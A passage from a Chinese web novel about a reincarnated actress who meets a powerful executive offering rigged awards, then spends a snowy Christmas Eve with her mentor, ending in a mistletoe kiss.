“我不是小孩，她没必要什么都要帮我解决。”祝星亦见白澜还是有顾虑，拧着眉毛开口，“她是我老师，不是我妈，就算她是我妈，我和谁吃个饭也要跟她打招呼吗？” 不止白澜有事就想找苏寄欢，连苏寄欢也总要事事想为祝星亦解决。但祝星亦很厌烦这样，一次两次解决不好事情，那是生疏，但次次都如此，仿佛她没有解决问题的能力似的。 怎的，她一个成年人连个与人吃饭的小事也解决不了？人人都要看轻她？ 白澜见状只能作罢。 可想到每次祝星亦不打招呼就去执行，最后跟苏寄欢闹不快，她便…… 算了算了，这是她们的事。白澜摇摇头，顺着祝星亦的意。 到了约饭的日子，白澜开车门看祝星亦落座，还是有些担忧。 祝星亦懒得跟她多说，催促她快开车。 白澜没别的主意，叮嘱祝星亦到时候顺着晏璟霖就好，对方不是别人，是晏氏的老大，在另一种层面上，算是祝星亦的资方金主。 听到这个说法，祝星亦往脸上又扑了点粉，嗤笑道：“你若这么说的话，苏老师也算是我金主呢，我平时难道对苏老师毕恭毕敬了？” 白澜握着劳斯莱斯的方向盘忙解释：“这二者不同，苏小姐那是因为……” 祝星亦等了半天没听到白澜下文，问：“什么？” 因为喜欢你呗。 白澜咳了一声道：“苏小姐是因为，她是你老师，肯定要宠着你。你若不是她的学生，你要是那样对她，她肯定生气。” 祝星亦补了点口红，顺手把一字肩裙整理好，道：“她也跟我生过气。” 白澜笑而不语。 想想祝星亦曾做过的事，苏寄欢要是一点气都不生，那还奇怪了呢。 话说苏寄欢可真是忍者神龟啊，白澜觉得祝星亦很多时候做的事都让人无法忍受。 身为助理兼钻石粉，她劝不动祝星亦都会懊恼不已，而那些事放在苏寄欢身上更是大麻烦，偏偏苏寄欢好脾气，一次两次能忍，三次四次无数次还能忍。 怪不得人家是大人物呢，胸怀真是大。 祝星亦到前台报了名字，侍者领她去落座。 “晏小姐，你好。” “请坐。” 祝星亦颔首。 点菜期间，祝星亦抬眼观察面前的女人。前世她对晏璟霖的印象不多，只知道晏瑾年很讨厌这个姐姐。 晏璟霖和晏瑾年不同，晏璟霖从小就被当作晏氏的继承人培养，所学的一切都是处理家族企业的能力。 而其母晏珂对晏瑾年的要求是：辅助姐姐。 晏瑾年虽有庞大的[晏影］，但这家娱乐公司也只是[晏氏集团］的附属品。没有晏璟霖的晏氏，就没有晏瑾年的[晏影］。更何况，[晏影］本就是晏璟霖策划成立的，如果晏璟霖想收回[晏影］，只是一句话的事儿。 晏瑾年很多次都会透露出对晏璟霖的反感，但迫于姐姐的权势，晏瑾年又不得不听从晏璟霖的要求和安排。 即便晏瑾年再目中无人，晏璟霖发话，晏瑾年也只能听着。 除了血脉压制，便是权力压制。 祝星亦讨厌晏瑾年，再看晏璟霖这张和晏瑾年相似的脸，更是多了几分讨厌。 不过晏璟霖倒是比晏瑾年礼貌几分，话里话外都是客气的疏离。 谈及找祝星亦，晏璟霖也没有藏着掖着。晏氏投资艺域，晏瑾年又投资了《外乡人》，这都是晏璟霖对祝星亦感兴趣的原因。 除了这些，之前祝星亦因为《寄明月》爆火，加上自身的热度，很难让晏璟霖忽视她。 祝星亦含笑应了几句，抬手跟晏璟霖碰杯。 “寄欢最近怎么样？”晏璟霖放下酒杯问道。 祝星亦知道[苏盛］和晏家不太痛快，听晏璟霖这么一问，感觉不妙。 “挺好的。”祝星亦不打算说太多，说多错多，她不想给苏寄欢惹麻烦。 晏璟霖勾起唇角淡声说：“听说她要做《外乡人》监制，真是令我惊讶，她这么年轻就要做幕后了。” “我想这是苏老师新的尝试，也是她深思熟虑后的打算。” “希望她成功。”晏璟霖挑眉，“我记得，你与她是师徒关系，你觉得做她学生的感觉如何？” “她是一个很耐心负责的老师，对我有莫大的恩情，我很感谢她。” 晏璟霖点点头道：“她确实是个很好的老师，[苏盛］的人对她评价也很高。” 顿了顿，晏璟霖道：“看得出来她在你身上花费的精力和时间很多，你又是她唯一的学生，想必你以后就是她的接班人。” 这话一出，祝星亦觉得晏璟霖在为难她。 [接班人］这个词太重，她有些惶恐道：“我资历尚浅，又没有苏老师那样优秀，谈不上什么接班人不接班人的。” 晏璟霖幽幽地瞥了她一眼，淡笑道：“哦？你是不想做她的接班人？她为你做的可不少，带你进组又愿意扶持你，你……觉得她给你的不够？” 晏璟霖看向祝星亦的目光里带着调侃和审视。 祝星亦觉得这个目光和问题让她不太舒服，解释道：“倒不是这样说，[苏盛］里的优秀艺人很多，我还需要多多历练。” “你看不上[苏盛］？”晏璟霖悠悠道。 这些话实在太让人恼火，祝星亦攥着拳头，礼貌笑说：“这是哪里的话，我怎么可能看不上……” “那你为什么要和艺域签约？”晏璟霖扬了下脸，语调闲散，“我听说你是为了签约[苏盛］才和她成为师徒，怎么，才成师徒多久，就和艺域签约了？” 晏璟霖说话时最后一个字的语调总是上扬着，声线有些低，深邃的眼盯着祝星亦，整个人的目光都完完整整聚焦在她身上，像是拿着一把铁锤和钉子，把祝星亦牢牢钉在架子上。 她不像晏瑾年总是自信地用肯定句和祝星亦交谈，但轻飘飘的一两句提问就让祝星亦汗毛直立。 这女人到底是来干什么的？看热闹的吗？ 祝星亦深吸一口气，保持着笑容：“我和苏老师成师徒，和我跟谁签约并没有太大的关系。苏老师都不介意这些，难道说，晏小姐，有这方面的洁癖？” 晏璟霖好整以暇地朝祝星亦递来一个意味不明的眼神，“洁癖？这个词有意思。” 她没继续说什么，单手往高脚杯里倒了半杯酒。 手指轻轻摩挲杯脚，盯着祝星亦看了会儿，她端着酒杯浅浅喝一口。 “但是，洁不洁这个东西怎么定义？”晏璟霖出声，“因为你签约过别人，或者，你曾是别人的人，我就不能敞开心扉接受你？” 她说完，盯着祝星亦吃吃地笑着。 看着这样的晏璟霖，祝星亦心想完了。 她完全听不懂晏璟霖在说什么。 祝星亦不想冷场，只好跟着笑笑说：“会有一些人介意这个，但在这个圈子里，价值才是衡量一切的标准。” “你觉得你会给苏寄欢提供多少价值？”晏璟霖顺着祝星亦的话头问。 一个接一个的提问，让祝星亦浑身不适。 她是应约来吃饭的，不是在这里当学生回答问题的。 祝星亦抓着裙子，忍耐着说：“我所能提供的价值，是等我……” 晏璟霖忽然打断她，“[苏盛］根系不大，如果无法把一个人利用到极致，苏寄欢是不会投入太多。” 看祝星亦眼中有疑问，晏璟霖继续说：“哦？看来你不太懂她？也是，毕竟她和你是名义上的师徒。不过，说到[苏盛］，你以后真打算签约[苏盛］吗？” “这个是以后的事了。”祝星亦给了个模糊的答案。 晏璟霖轻挑眉头：“如果只是考虑中的话，你觉得[晏影］怎么样？” 祝星亦一愣。 一时间，她没有反应过来晏璟霖话里的意思，等反应过来后，又听晏璟霖说：“如果我可以让你得奖，你愿不愿意签约[晏影］？” 祝星亦蹙眉道：“晏小姐，得不得奖并不是你能控制的，《外乡人》要冲击的国外竞赛单元都很有含金量，这并不是你……” “国内的你也不要？”察觉到祝星亦有兴趣，晏璟霖身子放松了些，“最有含金量的[三金二节］，金果奖、金熊奖、金穗奖、华夏电影艺术节、大众电影艺术节，还有很多非主流和主流的奖项，你也不要？” “有些东西不是钱能买到的，比如好剧本，还有好的奖项。苏寄欢自己都拿不到好的剧本，有些奖她也一直得不到。即便她努力，即便她有钱，那些机会也轮不到她，但我可以给你这个机会。” 晏璟霖坐直了身子，继续说：“即便《外乡人》你得不了那么多奖，以后呢？以后你不想把这些大奖得个遍儿吗？除了电影奖项，电视奖项不想要吗？金麒麟奖、华兰奖、金珍珠奖……” 一颗石子掷在清泉里，平静的水面漾起波纹，水花向四周迸溅开来。 晏璟霖身子往前了些，“音乐奖想不想要？TimeMusic、金鹿奖，或者……欧韦斯？嗯？” 涟漪扩散、交织，越来越远，越来越大。 “你……都可以？” “我当然可以。”晏璟霖声音轻缓，似乎这些都不是什么大事，“你以为瑾年怎么拿的奖？你以为那些剧本她是靠什么抢到的？”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 槲寄生下一定要亲亲 晏瑾年的奖是怎么来的？ 简简单单的一句话，蕴含了巨量信息。 祝星亦手心出了些汗，她尽量稳住身形，手紧紧抓着裙子，确保声音平稳：“谢谢你的赏识，但这个我需要考虑。” 晏璟霖似乎根本不在意祝星亦的话，迷人的蛊惑蔓延开来，她久久不吭声，等乌黑的眸子再次转向祝星亦，她侧了下脑袋道：“《外乡人》安宁一角不够有诚意？” 诚意？ 好耳熟的词。 祝星亦晃了晃高脚杯里的酒，沉默不语。 前世就不说了，窝囊得要死，卑微、低头、温顺都换不来尊重，每天都要仰着头吃硬塞给她的垃圾，当狗赔笑还要被踢一脚。 这一世，刚成团时不够有名气，容羽珍什么烂资源都塞给她，参加综艺被其他嘉宾调侃羞辱，容羽珍也不管不问。后来跟着苏寄欢去演戏，化妆师都不尊重她的意见。跟在苏寄欢身后，谁都不认识她，也不想多搭理她。网友更是一边倒地疯狂辱骂她，骂她上不了台面。 现在爆火一部剧，身价翻倍，全世界的美好都吻了上来，全世界的善意都聚焦在她身上。 殷红的酒液在杯中轻轻晃动，她仰头，火焰般液体缓缓流入口中。细腻的肌肤泛着微光，脸庞线条流畅自然，没有一丝瑕疵，在灯光下更显立体感。 酒液咽下，她轻轻放下酒杯，嘴角上扬，“只是一个配角而已，当然不够。” 晏璟霖意味深长地笑笑，换作别人，她会觉得那些人看不清自己又想狮子大开口，但换作祝星亦，她觉得这人有意思。 她已经想象得到祝星亦在苏寄欢面前是何种模样了，铁定是变着法儿地索要资源，一个永不满足的贪心的吸血鬼。 不过她也能理解，如果祝星亦真的很容易满足，也不会有今日的价值。 没有野心的人怎么可能往上爬？ 晏璟霖抬手从一旁位置上拿出一个盒子，打开后推到祝星亦面前。 祝星亦顿时被盒子里的东西吸引了。 一颗色泽美丽的苹果。 金苹果。 晏璟霖神情淡淡，“送你一颗苹果，我的小心意。” 金苹果散发着耀眼夺目的光芒，它的颜色太过危险，光芒也太过诱惑。祝星亦端坐在位置上，总觉得有无数双手推着她去摘取这颗苹果。 只是往前一小步就是深渊，她太清楚了。 静谧的空间里，晏璟霖再次开口，她的声音很低，也轻，但足够惑人，像盘在树枝上的毒蛇吐着蛇信子：“我听说你很喜欢金子，有眼光，我也很喜欢金子。我希望你也能像金子一样，永远保值。” 她的尾巴勾着金苹果放在祝星亦眼前，祝星亦的眼差点被金子的光芒灼伤。 美好的事物总是如此闪亮。 祝星亦从没有想到有一天她会像这颗金子一样被那么多人喜欢、尊重。 比起上一世，现在的她拥有了太多太多。 良久，祝星亦合上盖子，手按在盒子上往自己手边挪，她抬眸微笑，声音轻缓，“谢谢你的礼物，我很喜欢，我也希望我会永远保值。另外，我期待你给我的诚意。” / 白澜等了很久，祝星亦才跟晏璟霖一起出来。 两人交谈两句，晏璟霖先行一步。 等人走远了，白澜才过去问两人谈了什么。 “没什么，就讲了《外乡人》的事。她们投资那么多，要我不要演砸了。”祝星亦跟着去电梯口按电梯。 白澜问：“真的只是这些吗？” “是啊。” 白澜心想晏璟霖可真奇怪，她们都选了祝星亦，怎么还要来专程嘱咐这个？对祝星亦没信心的话，干嘛还要指定祝星亦演安宁？ 不过想一想这种大人物都喜欢通过对别人指指点点，以来彰显自己身份的尊贵，白澜便不再多想。 “星亦，我这里有两张朋友送的歌剧票，但我那天没时间看，你要是有时间，可以和苏小姐一起看。 白澜觉得有些遗憾，本来可以和祝星亦一起看来着。 但想想那个歌剧她也可能看不懂，加上也没时间，只能作罢。 祝星亦有些跑神儿，过了会儿才说：“好啊，什么歌剧？” “《浮士德》，挺有名的，这个故事上学的时候讲过呢。” 祝星亦点头，“对，浮士德用自己的灵魂与魔鬼梅菲斯特做交换，以来换取更好的生活。老师上课的时候讲了很多。” “‘仍然拥有的，仿佛从眼前远遁，已经逝去的，又变得栩栩如生。’”祝星亦喃喃着《浮士德》的献词。 刚走出电梯，祝星亦抬头，望见一个有点眼熟的人。 那个身影，那个模糊的侧脸…… 呼吸开始急促起来，不断翻涌的恨意让她脊背发凉。她的双眼死死地盯着那个身影，一些不愿想起的记忆将她瞬间淹没。 “段……以溶？”祝星亦低声喃喃着，快步跟了过去。 只是走过去后，段以溶已经不见了。 白澜快步跟着跑过去，问：“段以溶？那是谁？” 段以溶，把她从高楼推下的人，前世晏瑾年的新助理。 怎么会出现在这里？ 剧烈跳动的心脏好似要冲破胸膛，指甲深深嵌入掌心，刺痛感传来，祝星亦才慢慢清醒起来。 祝星亦摇摇头：“没，没什么，我可能眼花看错了。” // 《夏影》的拍摄周期并不长，拍摄地点在一个漂亮的小镇上，布景方面做得出奇的好，祝星亦很惊讶她们竟然舍得扎那么大的本做景。 得知获得了一些可观的投资后，祝星亦只叹那投资方有眼光。 饰演青泠的是连心文化的谈之语，长相很符合原著。 白澜跟着祝星亦在小镇上住下，小镇环境不错，休息的时候，白澜时常带着祝星亦在镇上走走逛逛。 镇上有家咖啡店，剧组买咖啡都在这里买。 “年后三月份才开拍《外乡人》，要在剧组待四个月，还要辗转很多地点，真怕你吃不消。”白澜翻看着《外乡人》的拍摄地点不禁一阵担忧。 《外乡人》的拍摄要去至少四个省份，东南西北都有。《夏影》12月上旬就会*杀青，容羽珍那边见缝插针，给祝星亦又拉了个女主剧《告白情书》，这部都市剧杀青后正好进组《外乡人》。 除此之外，ilmeth的幕视（Mothantv）筹办的春节晚会邀请祝星亦参加，届时祝星亦会在除夕夜表演敦煌飞天舞《雨霖铃》。目前由于还在剧组，祝星亦只能抽空练舞，即便《夏影》杀青，也还是要赶《告白情书》剧组，舞蹈只能抽空练。 听说容羽珍那边又开始谈祝星亦明年下半年的剧，看样子想让祝星亦住在剧组里。 自打祝星亦签约艺域，一天都没闲下来，即便有空余时间，也是参加一些典礼和团队活动，这样的工作量，都算得上艺域劳模了。 签不签艺域可真是不一样，没签前，资源不给，也没人逼着工作。签了后，给资源还要被赶着工作，生怕闲下来一秒。白澜感叹容羽珍真是把祝星亦利用到极致。 “还好，其他人不也跟我一样？别人吃得消我不能？你小看我了。”祝星亦扫码后让白澜先点，“而且苏老师也会跟着我，不，跟着剧组，我也会更安心点。” 有苏寄欢在，白澜也会安心一些。 想到这里，白澜问：“星亦，我昨晚听到你和晏璟霖打电话，你们聊了什么？” 祝星亦眸光闪烁了下，低头点了杯咖啡道：“没什么，就是问问《夏影》进度。” 白澜了然。 但白澜还是很介意祝星亦与晏璟霖走得近。 晏氏和苏家关系不太好，总觉得…… 白澜知道自己没资格说什么，毕竟站在祝星亦角度，苏家和晏氏关系不好，关她什么事？ 但站在苏寄欢角度，祝星亦要是和晏氏走得近，心里肯定很膈应。 “我听说苏小姐之前去海外发展，是因为在内地受到了一些阻碍。”白澜同祝星亦道，“具体是怎么回事我不清楚，但有小道消息说是被一些人联手害了。” 祝星亦忙问：“有听说是哪些人吗？” 白澜摇头说：“这个不太清楚，你要不问问苏小姐？” 祝星亦知道苏寄欢是迫不得已去海外发展的，但具体原因不太清楚，如果是被害的话……那时候苏寄欢才10岁，怎么有人那么残忍去害一个10岁的小孩？ “行，我回头问问。” 晚间戏结束后，祝星亦刷手机，偶然看到自己的词条正在往上升。 #祝星亦杨易颜 #祝星亦恶女 点开看了两眼，多是粉丝控评夸赞她演技好。 她演技确实好，比同期小花多活了一世，多演了不知道多少配角，再加上被苏寄欢手把手教导，不好才怪。 身为苏寄欢唯一的学生，要是演技被挑出毛病，那也太丢苏寄欢的脸了。 近日《四季》热播，她借着《寄明月》的热度又凭这部剧吸了一波粉，视频网站上关于她的恶女剪辑更是火到不行。 演恶女果然是个好主意，当初选择没有错。 她更觉得选择《夏影》也没有错。 可能是因为年轻人很多的缘故，剧组氛围很好，路导人虽说脱线了些，但专业能力过硬，想法天马行空，带给剧组不少惊喜。 搭戏的谈之语性格也很好，对戏没压力，日常相处也很舒服。 直到杀青戏结束，祝星亦都不敢相信这么快就拍完了。 有点舍不得，这个剧组很好，她很喜欢。 刚回麓城，容羽珍让祝星亦快马加鞭赶到《告白情书》剧组。 祝星亦早早便在《夏影》剧组看了剧本，开拍还算顺畅。 临近元旦，导演想等一场大雪拍告白的戏份。看了天气预报，圣诞节那天有小雪。 小雪不够，导演准备等一场大雪，在大雪之前要先拍其他戏份。 “星星，你圣诞节怎么过？”谈起圣诞节的小雪，饰演女二的张嫣然问。 祝星亦扒了口饭思索后道：“想和喜欢的人一起过。” “哦哦，和苏小姐啊。”张嫣然认真吃饭，“也是，圣诞节当然要和女朋友一起过嘛，有计划去哪里吗？” 祝星亦扒饭的手停了会儿，疑惑道：“什么女朋友？你怎么会这样想？” 张嫣然一脸看透了的模样：“哪里是我这么想，很多人都知道啊。剧组里很多人都说，你和苏小姐早就在一起了，但对外只宣称是师徒关系。没事，我们都懂的，圈子里很多人都是这样，我们私下知道就行。” “没有的事。”祝星亦揉揉眉心，“我们真的只是单纯的师徒关系。” “真的？不会吧，根本不像。” 祝星亦招呼她快吃饭。 为了赶元旦后的那场大雪，整个剧拍拍停停，祝星亦倒也清闲。驱车回到艺域，祝星亦被带到会议室开会。 “Stella，我本想要Dario和你一起去幕视的春晚唱歌，顺便卖一下你们的cp，但是幕视那边邀请你跳舞，你看这真的太麻烦你了，你又要拍戏又要练舞，真是辛苦了啊。”容羽珍拉着祝星亦的手一脸忧色。 祝星亦觉得这是天大的好事。 真要是和姚斯狄一起唱歌，姚斯狄假唱，她全开麦，万一假唱词条还带上她，忒丢人。 容羽珍看祝星亦不介意，马上又说：“Stella，圣诞节我想要你去德洛品牌直播间做客，这个代言可是我从别人手里给你抢来的，你一定要好好表现。” 祝星亦愣了下，怎么突然有这个安排。 容羽珍这才解释，本来圣诞节不用艺人做客直播间，但近期祝星亦的《四季》热度高，她便跟德洛谈了这个商务。 圣诞节祝星亦约了苏寄欢，她没多想，直接拒绝。 容羽珍一脸难色，谈都谈好了，祝星亦真要是拒绝，她可不好跟品牌方那边交代。 “这样吧Stella。”容羽珍思索后开口，“我这边马上给你筹办工作室，经纪人我这边会给你挑选，其他的岗位你来看，三天之内给你成立，怎么样？” 三天内？ 祝星亦右侧的眉头高高挑起。 容羽珍说好的签约后就给她组建工作室，结果过去那么久也没看到工作室，现在就要三天内筹办好？ 祝星亦摸了摸下巴，扬眉道：“那就提前谢谢容总了。哦，对了，我还有件事。” 容羽珍不甚开心，怎么，都要拿出筹办工作室的诚意了，还想要别的吗？ 她抿着唇笑问：“Stella，你还有什么事？” “我现在怎么说也是有工作室的人了，加上通告多，繁忙得很。来往艺域公寓不太方便，私密性也不好，所以……”祝星亦弯着眼睛冲容羽珍微笑。 容羽珍瞬间明白祝星亦的意思，“Stella～你瞧，这不是巧了吗？我正好也想跟你说你住宿的问题，你如今身价暴涨，总不能还住在员工宿舍。我改日给你租套市中心的大平层，你看怎么样？” Shinyfive的其他队员早就不在艺域公寓住了，祝星亦没和风荇解约前囊中羞涩，又顾着凑解约费，一直没舍得搬出去。 艺域的公寓并不是很好，不隔音，房间小，大多数艺人都不在这里住。 看容羽珍允诺大平层，祝星亦翘起唇角：“那就提前感谢容总了。” “Stella，那，德洛品牌的直播……” “我会去的。” /// 晚上十点，跟屏幕的观众挥手之后祝星亦终于松了口气。 终于直播完了。 和工作人员打完招呼，白澜忙去收拾东西。 白澜把厚外套递给祝星亦，转头收拾祝星亦的包，“外面飘了小雪，现在去外面看怪是好看，不过我们得赶紧回去了，今天好多人过圣诞夜，我怕路上堵得很。” 祝星亦拉开窗帘往外看，细密的雪纷纷扬扬，灯火通明的高楼大厦被雪掩着，轮廓变得逐渐模糊起来。 直播的大楼楼下有一棵巨大的圣诞树，顶上是硕大的金色星星，从楼上都能看到树上颜色各异的灯光。来往的行人在树下合影，隐隐约约能听到圣诞歌。 她拉上窗帘跟白澜一起走出直播厅，到圣诞树下后拍了几张照，原本想发给苏寄欢，但想想明明答应了她要一起过圣诞，又因为工作爽约，挺不仗义的。 “星亦，时间还够，你要不要去找苏小姐？”白澜提醒，“如果能赶得上，也算没有放人家鸽子。” 祝星亦往一旁站站，手机镜头对准圣诞树顶端的那颗星星，喃喃：“都已经说过不去了，现在赶过去也没意义，而且礼物也没带过来。” 她也不是不想去找苏寄欢，只是心里有没有写出答案的题，想等一等，再等一等。 白澜正要继续劝，祝星亦拿着手机去其他地方拍照。白澜摇摇头，不再继续坚持。 祝星亦做的决定，旁人是改变不了她的。 倔得很。 圣诞树顶端的星星总拍不好，太高，找不好角度。 祝星亦来来回回换了几个地方都拍不到满意的照片。 再次换一个地方拍，手机刚举起来便被人抽走。 祝星亦心下一惊。 这偷手机的贼这么猖狂了？明抢？ “喂！！” 祝星亦迅速转过身正欲撸袖子，一见那人，愣住了。 苏寄欢往右边走走，找了个最好的角度，抬手聚焦，定格。 手机递给还在发愣的人，苏寄欢微微弯腰歪头看头上落了点雪的人，笑说：“怎么了？” 她拨了拨祝星亦发上的雪，拉着人站在一旁，问：“你看我拍得怎么样？” 祝星亦这才低头翻看照片。 角度很好，比她自己拍得好多了。 白澜跟着过来，疑惑道：“苏小姐，你怎么在这里？” “来过圣诞节。”苏寄欢说，“计算着她这时候下播，提前在附近等着。” 白澜有些欣喜道：“这不是赶巧了吗？星亦正准备去找你过圣诞节呢，还害怕赶不上时间。” 苏寄欢了然地哦了声，声调拖得长长的，轻轻瞥了眼一旁的祝星亦，意有所指道：“但我刚刚好像听到，赶过去也没有意义。” 祝星亦心虚地屏住气，和白澜对视一眼后，白澜解释：“啊？怎么会？星亦这么久没见你，可想你了。” 苏寄欢听后微挑起眉梢，原本随意的目光直直落在祝星亦身上。 祝星亦被这目光盯得有些不自在，下意识地把手机揣进兜里，干笑两声，试图扯开话题：“直播了那么久，我都饿了，要不咱先去吃点东西？” 苏寄欢还没来得及回应，白澜赶忙拎了拎手中的物件，笑着开口：“星亦，我突然想起还有急事，得先走一步了。苏小姐，星亦就拜托你照顾啦。” 话落，白澜便如一阵风般迅速消失在两人的视线中，祝星亦就是想拦也来不及。 周围的人越来越多，嘈杂的人声与相机的快门声交织在一起。祝星亦沉默了片刻，抬眸看向苏寄欢，轻声问：“你等了多久了，饿不饿？” “等了好一会儿。你这么一说，我肚子还真有点咕咕叫了，不过……”苏寄欢脚步离她近了点儿。 祝星亦追问道：“不过什么？” 苏寄欢向前迈了一小步，两人之间的距离瞬间拉近，她仰起头，目光紧紧锁住祝星亦的眼睛，声音里带着一丝撒娇的意味：“这么久没见我，你到底想不想我？” 来拍照的人如潮水般涌来，闪光灯此起彼伏。祝星亦攥紧手指，从喉咙里挤出一个“嗯”字。 “那为什么不想找我？”苏寄欢不依不饶。 祝星亦无奈地叹了口气，“因为之前已经放你鸽子，让你白期待了今天这场见面，如果……” “可是你什么时候找我，我都会很开心，早一会儿晚一会儿都没事，你只要来见我，我就很开心。”有行人来来往往地拍照，苏寄欢拉着祝星亦到一家闭了店的门口站着。 站在屋檐下，喧嚣被隔在身前。雪花不再飘落在她们头顶，视野也更清晰了，那棵巨大的圣诞树映入眼帘，暖黄色的灯光星星点点，在雪夜里散发着梦幻的光晕。 苏寄欢偏过头看向身旁的祝星亦，小狐狸的肩头和发梢落了一层薄薄的雪，像是洒了层细碎的银霜。她抬起手，轻轻拍去小狐狸身上的雪花，雪片簌簌落下在地面上融化成一小滩水渍。拍完后，她才低下头认真清理自己身上的雪。 祝星亦认真看着苏寄欢的侧脸，身子也往她身边靠近了些，“我现在见到你了，我也很开心。不去找你是因为有些事还没有想好怎么跟你说，至少现在没有想好。” “很重要的事吗？”苏寄欢拍着胳膊上的雪侧头问。 “算是吧，对我来说很重要。” 苏寄欢把头发整理了下道：“你要是没有想好，那就等你想好了再跟我说。” “好。”祝星亦轻声应着。 “能跟我透露一下是关于什么的吗？” “也没什么，就是一些小事。” 苏寄欢似懂非懂地哦了一声。 抬眼，一串挂起来的绿植悬在头上。 祝星亦顺着她的目光看去，疑惑道：“苏老师，怎么了？” 苏寄欢指着那串绿植说：“那是槲寄生，你知道在槲寄生下面要做什么吗？槲寄生……” 苏寄欢还没说完，柔软的唇印在她的唇瓣上。啾了下，那双唇移开。 被吻后，她垂着头看眼睛亮晶晶的祝星亦，忽然笑了，“你怎么又亲我？” 祝星亦瞄了眼头顶上的槲寄生说：“站在槲寄生下面必须亲吻，不然会厄运缠身。” “可你动不动就亲我，”苏寄欢抓着她的手腕问：“所以我们现在到底是什么关系？” 第92章 想要和你一直走下去 苏寄欢目不转睛地望着祝星亦，祝星亦被这样盯着，许久没说出一个字。 咕噜噜。 肚子响了。 苏寄欢没有强求她说出什么，低头轻轻拍她的肚子，“你肚子又打雷了？” 祝星亦揉揉肚子点头，“我七点多就过来等着开播，一直没进食，肚子早就瘪了。” 她声音软绵绵的，揉肚子的动作轻轻缓缓，“好饿。” “走，吃饭。”苏寄欢伸手。 祝星亦犹豫了两秒，搭了上去。 温热的掌包住她的手，雪夜都变得温暖起来。 祝星亦挨着苏寄欢一起走，雪越下越密，头发上落了不少。 甩了下头，再抬头，跟噙着笑意的苏寄欢对视。 “我先去车里拿把伞。”苏寄欢停下脚步给祝星亦拨了拨发上的雪。 祝星亦紧了紧手，摇头：“不用。这样就好。” “一起白头？”苏寄欢声音轻快。 “你愿意吗？”祝星亦问。 “愿意。”苏寄欢拧她脸，“我想和你一直走到100岁。” “不行。” 听她拒绝，苏寄欢有点不大开心，“为什么？” 祝星亦颤着眼睫抬头看她，“我想要100岁，我喜欢整数，你要让给我。” 苏寄欢笑出声，“行，我让给你。” “等我100岁的时候，你都108岁了。不过说真的，我们真要活那么久吗？” “108岁啊……那我跟你认识还不到100年。”苏寄欢认真思考这个话题，浅褐色的眸子盯着纷飞的雪，转而偏过头，眼底一片温柔，“我想我会活不够。” 祝星亦被看得脸颊发热，赶忙收回视线。 视线下移，两个人的步子不疾不徐。 祝星亦紧紧贴着苏寄欢走，又仰脸儿问：“苏老师，我漂不漂亮？” 看着小狐狸这张明艳万分又乖巧的脸蛋儿，苏寄欢毫不犹豫地说：“漂亮，你一直都很漂亮。” 祝星亦弯起桃花眼，轻快地说：“我也觉得你很漂亮，我第一次见你的时候我都愣住了，你太漂亮了。” 苏寄欢一点都不信，“你哪里是愣住了，你分明是理直气壮地怼我，还说什么，不要拽女爱豆裙子。” 说到这个，祝星亦有理，“可是你拽我裙子真的很不礼貌，哪有人上来就拽别人裙子的，而且我踩你裙子已经跟你道过歉了。” 她说得起劲，仿佛又回到了初见那一天，苏寄欢看她越说越生气的模样，忙安抚：“是我不对，你原谅我好不好，我以后再也不拽你裙子了。” 苏寄欢一安抚，祝星亦顿时没了脾气。 望着冷冽又温柔的人，她忽然想起了鸿城有轨列车上，苏寄欢说的那句：[如果前世我们是陌生人，我会很遗憾］。 和苏寄欢做陌生人的前世，现在想想确实很遗憾。尤其是当她知道苏寄欢是这么美好的一个人，她更遗憾了。迟来的相识相知，迟来的一段情谊。 “苏老师，如果我能回到那个过去，我一定不会和你成为陌生人，我一定要好好认识你。” 苏寄欢有些疑惑，“可我们不是陌生人，一直都不是。” 祝星亦晃晃她的手臂，眼睛明亮：“是啊，不是陌生人，我已经改变了一切。嗯……苏老师？” “嗯？” “MerryChristmas，苏老师。”祝星亦握紧她的手，红扑扑的脸靠在她胳膊上。 簌簌的雪装点彩色的圣诞夜，苏寄欢俯身抵上祝星亦的额头，声音轻轻：“MerryChristmas，星星。” /// 元旦过后，终于等到了一场大雪。导演欢天喜地地把告白戏份拍完，祝星亦松口气。 室外冷得很，今天又只有这一场戏，祝星亦拍完，白澜把羽绒服和围巾拿过来给祝星亦披上围上。 围巾还是苏寄欢织的那条，祝星亦摸着柔软的围巾嗅了嗅。之前她洗了洗便放在衣柜里，过了快一年，现在还有洗衣液的香味。 祝星亦对香味没什么太大要求，她也没什么特别喜欢的香味。 不对，她最喜欢的是柚子花香。 苏寄欢的味道。 “星亦，雪下太大了，下午剧组停工，你要不要和我一起出去逛一逛？”回到棚子里，张嫣然凑过来问。 雪天正适合泡温泉，附近凤山川有一个温泉酒店，驱车到那里才一小时，泡一下午在那里住一晚，舒服得很。 张嫣然给祝星亦看那处温泉酒店的信息，祝星亦瞅了几眼把衣服裹紧了些，“我下午还要练舞，不能陪你去。” 张嫣然知道祝星亦要参加幕视的春晚，蹙眉道：“话说这幕视也真是不体谅人，明知道你拍戏忙，还邀你表演舞蹈节目。你怎么就同意去了呢？” 祝星亦抱着暖手宝跟张嫣然坐在两张小板凳上，小板凳旁放着电暖扇，烘得人一阵倦意。 她打了个哈欠说：“真要是拒绝一次，也许以后他们再也不会邀请我来这种大型晚会，可能也会错失其他合作。ilmeth的喜好阴晴不定，能有机会合作就合作，惹他们不痛快也是给我自己找麻烦。” 张嫣然了然，只是这样合作的后果是辛苦祝星亦，连进两个剧组又要见缝插针练舞，真不是一般人能扛的。 白澜收拾好东西带祝星亦去排舞的地方。 祝星亦时间不多，不能跟《雨霖铃》的其他演员一起排，只能跟编舞商量预留出自己的位置，等空闲的时间她再去合体排练。 排到晚上八点，祝星亦去舞蹈厅旁边的洗浴间洗了个澡出来。白澜快速跑来，“星亦，累不累？” 祝星亦舒展四肢，点点头：“累，挺累的。” 白澜拧紧眉头，欲言又止。 “怎么了？”祝星亦问。 白澜握着右拳捶了下手掌，一脸忧色，“韶喻那边来了新消息，不太好。” 董韶喻是祝星亦新经纪人，工作室成立后，董韶喻全权负责祝星亦的商务。工作室人不多，加上祝星亦，一共就五个人。但对祝星亦来说也是够了，还减轻了白澜很多负担。 先前的一些工作都是白澜处理，祝星亦也会帮忙。风荇那边承诺过要筹备工作室，直到解约也没等到，艺域能成功组建，还是祝星亦逼来的。 真不容易。 祝星亦扣上大衣扣子问：“什么坏消息？” 白澜平复自己的情绪，隆起一个八字眉，“韶喻说，幕视那边要给你加个节目。” 祝星亦愕然，“还加？《雨霖铃》都给我累够呛了。” 她快速整理好衣服，喊白澜带她回去和董韶喻商议推掉这个节目。 